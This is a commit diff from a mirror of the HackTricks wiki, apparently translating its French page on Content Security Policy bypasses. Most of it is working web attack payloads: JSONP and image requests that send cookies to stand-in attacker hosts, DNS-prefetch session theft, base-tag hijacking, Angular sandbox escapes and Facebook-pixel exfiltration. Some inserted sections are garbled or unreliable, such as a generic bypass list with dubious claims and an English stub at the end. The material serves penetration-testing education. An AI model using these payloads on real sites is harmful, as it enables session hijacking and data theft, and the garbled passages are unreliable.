Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 22:18:27 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['pentesting-web/content-security-policy-csp-bypass/README.md

Browse source
This commit is contained in:
Translator 2024-03-26 08:05:14 +00:00
parent 8aadf6001b
commit 01d48054ac
1 changed files with 62 additions and 104 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

166
pentesting-web/content-security-policy-csp-bypass/README.md
View file

@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes !
**Perspectives de piratage**\
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
@ -39,7 +39,7 @@ La mise en œuvre de la CSP est réalisée via des **en-têtes de réponse** ou
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* Implémenté via la balise meta :
* Implémenté via balise meta :
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
@ -73,11 +73,11 @@ object-src 'none';
* **frame-src**: Restreint les URL pour les cadres.
* **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page actuelle, applicable aux éléments tels que `<frame>`, `<iframe>`, `<object>`, `<embed>`, et `<applet>`.
* **img-src**: Définit les sources autorisées pour les images.
* **font-src**: Spécifie les sources valides pour les polices chargées en utilisant `@font-face`.
* **font-src**: Spécifie les sources valides pour les polices chargées à l'aide de `@font-face`.
* **manifest-src**: Définit les sources autorisées des fichiers de manifeste d'application.
* **media-src**: Définit les sources autorisées pour le chargement d'objets multimédias.
* **object-src**: Définit les sources autorisées pour les éléments `<object>`, `<embed>`, et `<applet>`.
* **base-uri**: Spécifie les URL autorisées pour le chargement en utilisant les éléments `<base>`.
* **base-uri**: Spécifie les URL autorisées pour le chargement à l'aide des éléments `<base>`.
* **form-action**: Liste les points de terminaison valides pour les soumissions de formulaire.
* **plugin-types**: Restreint les types MIME qu'une page peut invoquer.
* **upgrade-insecure-requests**: Indique aux navigateurs de réécrire les URL HTTP en HTTPS.
@ -91,13 +91,13 @@ object-src 'none';
* `*`: Autorise toutes les URL sauf celles avec les schémas `data:`, `blob:`, `filesystem:`.
* `'self'`: Autorise le chargement depuis le même domaine.
* `'data'`: Autorise le chargement de ressources via le schéma de données (par exemple, images encodées en Base64).
* `'data'`: Autorise le chargement de ressources via le schéma data (par exemple, images encodées en Base64).
* `'none'`: Bloque le chargement depuis n'importe quelle source.
* `'unsafe-eval'`: Autorise l'utilisation de `eval()` et des méthodes similaires, non recommandé pour des raisons de sécurité.
* `'unsafe-hashes'`: Autorise des gestionnaires d'événements en ligne spécifiques.
* `'unsafe-hashes'`: Active des gestionnaires d'événements en ligne spécifiques.
* `'unsafe-inline'`: Autorise l'utilisation de ressources en ligne comme les `<script>` ou `<style>` en ligne, non recommandé pour des raisons de sécurité.
* `'nonce'`: Une liste blanche pour des scripts en ligne spécifiques en utilisant un nonce cryptographique (nombre utilisé une fois).
* Si vous avez une exécution JS limitée, il est possible d'obtenir un nonce utilisé à l'intérieur de la page avec `doc.defaultView.top.document.querySelector("[nonce]")` et de le réutiliser pour charger un script malveillant (si strict-dynamic est utilisé, toute source autorisée peut charger de nouvelles sources donc ce n'est pas nécessaire), comme dans :
* Si l'exécution JS est limitée, il est possible d'obtenir un nonce utilisé à l'intérieur de la page avec `doc.defaultView.top.document.querySelector("[nonce]")` et de le réutiliser pour charger un script malveillant (si strict-dynamic est utilisé, toute source autorisée peut charger de nouvelles sources donc ce n'est pas nécessaire), comme dans :
<details>
@ -148,7 +148,7 @@ Payload de travail:
```
### strict-dynamic
Si vous pouvez d'une manière ou d'une autre faire en sorte qu'un **code JS autorisé crée une nouvelle balise script** dans le DOM avec votre code JS, car un script autorisé le crée, la **nouvelle balise script pourra être exécutée**.
Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS autorisé crée une nouvelle balise script** dans le DOM avec votre code JS, car un script autorisé le crée, la **nouvelle balise script pourra être exécutée**.
### Wildcard (\*)
```yaml
@ -179,13 +179,13 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Si vous pouvez télécharger un fichier JS, vous pouvez contourner ce CSP :
Payload fonctionnel :
Charge utile fonctionnelle :
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et ne vous permettra d'**uploader que des types de fichiers spécifiques**.
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de ce qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
À partir de là, si vous trouvez une XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte ([quelques exemples de polyglottes ici](https://github.com/Polydet/polyglot-database)).
@ -196,12 +196,12 @@ Si l'injection de JS n'est pas possible, vous pouvez toujours essayer d'exfiltre
### Points d'extrémité tiers + ('unsafe-eval')
{% hint style="warning" %}
Pour certaines des charges utiles suivantes, **`unsafe-eval` n'est même pas nécessaire**.
Pour certains des payloads suivants, **`unsafe-eval` n'est même pas nécessaire**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Chargez une version vulnérable d'angular et exécutez du JS arbitraire :
Chargez une version vulnérable d'Angular et exécutez du JS arbitraire :
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -250,11 +250,11 @@ L'article montre que vous pourriez **charger** toutes les **bibliothèques** dep
{{[].erase.call().alert('xss')}}
</div>
```
## Contournement de la stratégie de sécurité du contenu (CSP) pour les noms de classe Angular
## Angular XSS à partir d'un nom de classe :
---
## XSS Angular à partir d'un nom de classe:
## XSS Angular à partir d'un nom de classe :
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -262,7 +262,7 @@ L'article montre que vous pourriez **charger** toutes les **bibliothèques** dep
```
#### Abus du code JS de Google reCAPTCHA
Selon [**ce compte rendu de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'une CSP pour exécuter du code JS arbitraire en contournant la CSP :
Selon [**ce compte rendu de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'un CSP pour exécuter du code JS arbitraire en contournant le CSP :
```html
<div
ng-controller="CarouselController as c"
@ -273,7 +273,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Plus de [**charges utiles de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Plus de [**payloads de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
@ -300,7 +300,7 @@ Il est possible d'abuser de Google Apps Script pour recevoir des informations da
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Les scénarios comme celui où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail:
Les scénarios comme celui-ci où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -331,72 +331,48 @@ Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-
Si vous trouvez l'un des domaines autorisés dans la CSP de votre cible, il est probable que vous puissiez contourner la CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.
Par exemple, si vous trouvez la CSP suivante:
Par exemple, si vous trouvez la CSP suivante :
```
Content-Security-Policy​: default-src 'self’ www.facebook.com;​
```
# Contournement de la politique de sécurité du contenu (CSP)
# Contourner la politique de sécurité du contenu (CSP)
---
Dans certains cas, il peut être nécessaire de contourner la politique de sécurité du contenu (CSP) pour mener à bien une attaque. Voici quelques techniques courantes pour contourner CSP :
## Contournement de la CSP basique
## Utilisation de `unsafe-inline`
La politique de sécurité du contenu (CSP) est une couche de sécurité supplémentaire qui aide à détecter et à atténuer certains types d'attaques, telles que les attaques de script intersites (XSS). Cependant, il existe des moyens de contourner une CSP mal configurée pour exécuter du code malveillant.
Si la CSP autorise `unsafe-inline` pour les scripts ou les styles, vous pouvez exécuter du code JavaScript arbitraire en l'injectant directement dans les balises `<script>` ou `<style>`.
### Contournement via les directives de rapport
## Contournement via les événements
Si la CSP est mal configurée pour inclure une directive de rapport (`report-uri`), il est possible d'exécuter du code malveillant sans déclencher de rapport d'incident.
En exploitant les événements autorisés par la CSP, comme `onclick` ou `onmouseover`, vous pouvez exécuter du code JavaScript en réponse à ces événements.
```html
<script>alert('CSP Bypassed!')</script>
```
## Utilisation de `eval()`
### Contournement via les directives de script
Si la CSP autorise l'utilisation de `eval()`, vous pouvez exécuter du code JavaScript dynamiquement en utilisant cette fonction.
En exploitant les directives de script autorisées dans la CSP, il est possible d'exécuter du code malveillant en utilisant des fonctions natives du navigateur.
## Contournement via les extensions du navigateur
```html
<script src="data:,alert('CSP Bypassed!')"></script>
```
En utilisant des extensions du navigateur qui ne sont pas soumises à la CSP du site, vous pouvez exécuter du code JavaScript arbitraire.
---
## Utilisation de `data:` ou `blob:` URLs
## Contournement de la CSP avancée
En utilisant des URLs `data:` ou `blob:`, vous pouvez charger du code JavaScript externe sans déclencher la CSP.
Même avec une CSP plus stricte, il existe des techniques pour contourner la politique et exécuter du code malveillant.
### Utilisation de l'attaque de type MIME
En exploitant les types MIME autorisés dans la CSP, il est possible d'exécuter du code malveillant en chargeant un fichier avec un type MIME approuvé qui contient du code exécutable.
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnQ1NQIEJ5cGFzc2VkIScpPC9zY3JpcHQ+Cg==" type="text/html"></object>
```
### Contournement via les en-têtes de réponse HTTP
En utilisant des en-têtes de réponse HTTP spécifiques, il est possible de contourner la CSP en chargeant du code malveillant à partir de sources externes.
```html
<script src="https://example.com/malicious.js"></script>
```
---
Il est essentiel de configurer correctement la CSP pour éviter ces types de contournements et renforcer la sécurité de l'application web.
Il est important de noter que le contournement de la CSP peut être considéré comme une violation de la politique de sécurité d'un site et peut être illégal. Il est recommandé de toujours obtenir une autorisation explicite avant de tenter de contourner une CSP.
```
Content-Security-Policy​: connect-src www.facebook.com;​
```
Vous devriez être capable d'exfiltrer des données, de la même manière que cela a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, suivez ces étapes générales :
1. Créez un compte développeur Facebook ici.
2. Créez une nouvelle application "Facebook Login" et sélectionnez "Site web".
2. Créez une nouvelle application "Facebook Login" et sélectionnez "Site Web".
3. Allez dans "Paramètres -> Général" et obtenez votre "ID d'application".
4. Sur le site cible dont vous souhaitez exfiltrer des données, vous pouvez le faire directement en utilisant le gadget SDK Facebook "fbq" via un "customEvent" et la charge utile de données.
5. Allez dans le "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers le compte développeur Facebook de l'attaquant avec l'ID d'application et émettre un événement personnalisé comme ceci :
```JavaScript
fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
@ -415,7 +391,7 @@ Le navigateur chargera finalement `https://example.com/scripts/angular/angular.j
Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP.
Ainsi, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
Ainsi, il le décodera, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
En **exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
@ -434,13 +410,13 @@ Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js
Si la directive **base-uri** est manquante, vous pouvez en abuser pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/).
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la balise **base** pour faire **charger** le script depuis **votre propre serveur pour réaliser un XSS.**\
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise de base.
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise base.
```html
<base href="https://www.attacker.com/">
```
### Événements AngularJS
Une politique spécifique connue sous le nom de Content Security Policy (CSP) peut restreindre les événements JavaScript. Néanmoins, AngularJS introduit des événements personnalisés comme alternative. Dans un événement, AngularJS fournit un objet unique `$event`, faisant référence à l'objet d'événement natif du navigateur. Cet objet `$event` peut être exploité pour contourner le CSP. Notamment, dans Chrome, l'objet `$event/event` possède un attribut `path`, contenant un tableau d'objets impliqués dans la chaîne d'exécution de l'événement, l'objet `window` étant invariablement positionné à la fin. Cette structure est cruciale pour les tactiques d'évasion de bac à sable.
Une politique spécifique connue sous le nom de Content Security Policy (CSP) peut restreindre les événements JavaScript. Néanmoins, AngularJS introduit des événements personnalisés comme alternative. Dans un événement, AngularJS fournit un objet unique `$event`, faisant référence à l'objet d'événement natif du navigateur. Cet objet `$event` peut être exploité pour contourner le CSP. Notamment, dans Chrome, l'objet `$event/event` possède un attribut `path`, contenant un tableau d'objets impliqués dans la chaîne d'exécution de l'événement, l'objet `window` étant invariablement positionné à la fin. Cette structure est cruciale pour les tactiques d'évasion de sandbox.
En dirigeant ce tableau vers le filtre `orderBy`, il est possible de le parcourir, en exploitant l'élément terminal (l'objet `window`) pour déclencher une fonction globale comme `alert()`. L'extrait de code ci-dessous illustre ce processus :
```xml
@ -507,13 +483,13 @@ default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script à l'intérieur du code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
Vous pouvez contourner ce CSP en exfiltrant les données via des images (dans ce cas, le XSS exploite un CSRF où une page accessible par le bot contient une injection SQL, et extrait le drapeau via une image):
Vous pouvez contourner ce CSP en exfiltrant les données via des images (dans ce cas, le XSS exploite un CSRF où une page accessible par le bot contient une injection SQL, et extrait le drapeau via une image) :
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
De : [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Vous pourriez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter. Vous pourriez **créer** une **image spéciale**, la **charger** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Vous pourriez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter. Vous pourriez **créer** une **image spéciale**, la **téléverser** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Avec les Travailleurs de Service
@ -545,7 +521,7 @@ Exemple: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
### img-src \*; via XSS (iframe) - Attaque temporelle
Remarquez l'absence de la directive `'unsafe-inline'`\
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps nécessaire à la page pour se charger**, vous pouvez extraire les informations dont vous avez besoin.
Cette fois, vous pouvez faire charger à la victime une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps nécessaire à la page pour se charger**, vous pouvez extraire les informations dont vous avez besoin.
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction de pause. Ensuite, vous pourrez extraire le drapeau:
```html
@ -609,15 +585,15 @@ run();
```
### Via Bookmarklets
Cette attaque impliquerait un certain ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **contournant CSP et permettant de voler des informations sensibles** telles que des cookies ou des jetons.
Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **contournant la CSP et permettant de voler des informations sensibles** telles que des cookies ou des jetons.
Pour plus d'informations, [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Contournement de CSP en restreignant CSP
### Contournement de la CSP en restreignant la CSP
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via la **pollution de prototype** ou le **dom clobbering** a permis d'**abuser d'un script différent pour charger un script arbitraire**.
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant à l'intérieur d'un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via la **pollution de prototype** ou le **dom clobbering** a permis d'**exploiter un script différent pour charger un script arbitraire**.
Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`**:
Vous pouvez **restreindre une CSP d'un iframe** avec l'attribut **`csp`**:
{% code overflow="wrap" %}
```html
@ -625,7 +601,7 @@ Vous pouvez **restreindre un CSP d'un Iframe** avec l'attribut **`csp`**:
```
{% endcode %}
Dans [**ce compte rendu CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via une **injection HTML** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc que la **vulnérabilité devienne exploitable.**\
Dans [**ce compte rendu de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via **l'injection HTML** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc que la **vulnérabilité devienne exploitable.**\
Le CSP peut être rendu plus restrictif en utilisant des **balises meta HTML** et les scripts en ligne peuvent être désactivés **en supprimant** l'**entrée** autorisant leur **nonce** et **en activant un script en ligne spécifique via sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
@ -633,9 +609,9 @@ Le CSP peut être rendu plus restrictif en utilisant des **balises meta HTML** e
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
### Exfiltration de JS avec Content-Security-Policy-Report-Only
### Exfiltration JS avec Content-Security-Policy-Report-Only
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` est très probablement interdit par le CSP, cela va **déclencher une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête **`Content-Security-Policy-Report-Only`** avec une **valeur contrôlée par vous** (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous **enveloppez** le **contenu JS** que vous souhaitez exfiltrer avec **`<script>`** et parce que `unsafe-inline` est très probablement interdit par le CSP, cela **déclenchera une erreur CSP** et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis `Content-Security-Policy-Report-Only`.
Pour un exemple, consultez [**cette solution CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -665,7 +641,7 @@ Astuce provenant de [**ici**](https://ctftime.org/writeup/29310).
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !
**Perspectives de Hacking**\
**Perspicacité en Hacking**\
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
**Actualités de Hacking en Temps Réel**\
@ -680,7 +656,7 @@ Restez informé des dernières primes de bugs lancées et des mises à jour cruc
### Surcharge du tampon de réponse PHP
PHP est connu pour **mettre en mémoire tampon la réponse jusqu'à 4096** octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant **suffisamment de données à l'intérieur des avertissements**, la **réponse** sera **envoyée** **avant** l'en-tête **CSP**, ce qui entraîne l'ignorance de l'en-tête.\
PHP est connu pour **mettre en tampon la réponse à 4096** octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant **suffisamment de données à l'intérieur des avertissements**, la **réponse** sera **envoyée** **avant** l'en-tête **CSP**, ce qui entraîne l'ignorance de l'en-tête.\
Ensuite, la technique consiste essentiellement à **remplir le tampon de réponse avec des avertissements** pour que l'en-tête CSP ne soit pas envoyé.
Idée provenant de [**ce writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
@ -696,20 +672,20 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### QUELQUES + 'self' + wordpress
QUELQUES est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela est fait en chargeant le point de terminaison vulnérable à partir d'une page d'attaquant, puis en actualisant la page de l'attaquant vers le vrai point de terminaison dans la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans le **payload** pour **accéder au DOM** du **vrai point de terminaison à abuser**. Pour plus d'informations, consultez :
QUELQUES est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point de terminaison d'une page** pour **abuser** **d'autres points de terminaison de la même origine.** Cela est fait en chargeant le point de terminaison vulnérable à partir d'une page d'attaquant, puis en actualisant la page de l'attaquant vers le vrai point de terminaison dans la même origine que vous souhaitez abuser. De cette manière, le **point de terminaison vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **vrai point de terminaison à abuser**. Pour plus d'informations, consultez :
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui va **refléter** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
De plus, **wordpress** a un point de terminaison **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui **reflètera** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque QUELQUES** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque QUELQUES** à travers le **point de terminaison de rappel** **vulnérable** qui **contourne le CSP** pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...\
Un attaquant peut abuser de ce point de terminaison pour **générer une attaque QUELQUES** contre WordPress et **l'intégrer** à l'intérieur de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'**attaque QUELQUES** à travers le **point de terminaison de rappel** **vulnérable** qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...\
Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Contournements de l'exfiltration CSP
S'il y a un CSP strict qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer l'information.
S'il y a une CSP stricte qui ne vous permet pas d'**interagir avec des serveurs externes**, il y a quelques choses que vous pouvez toujours faire pour exfiltrer les informations.
### Location
@ -727,7 +703,7 @@ Vous pourriez rediriger en injectant une balise meta (il s'agit simplement d'une
### Préchargement DNS
Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôtes en adresses IP et les mettre en cache pour une utilisation ultérieure.\
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : `<link reol="dns-prefetch" href="something.com">`
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : `<link rel="dns-prefetch" href="something.com">`
Vous pourriez abuser de ce comportement pour **exfiltrer des informations sensibles via des requêtes DNS** :
```javascript
@ -735,29 +711,9 @@ var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
### Bypassing Content Security Policy (CSP)
## Contourner la politique de sécurité du contenu (CSP)
---
#### Introduction
In this section, we will discuss various techniques to bypass Content Security Policy (CSP) implemented on a web application.
#### What is Content Security Policy (CSP)?
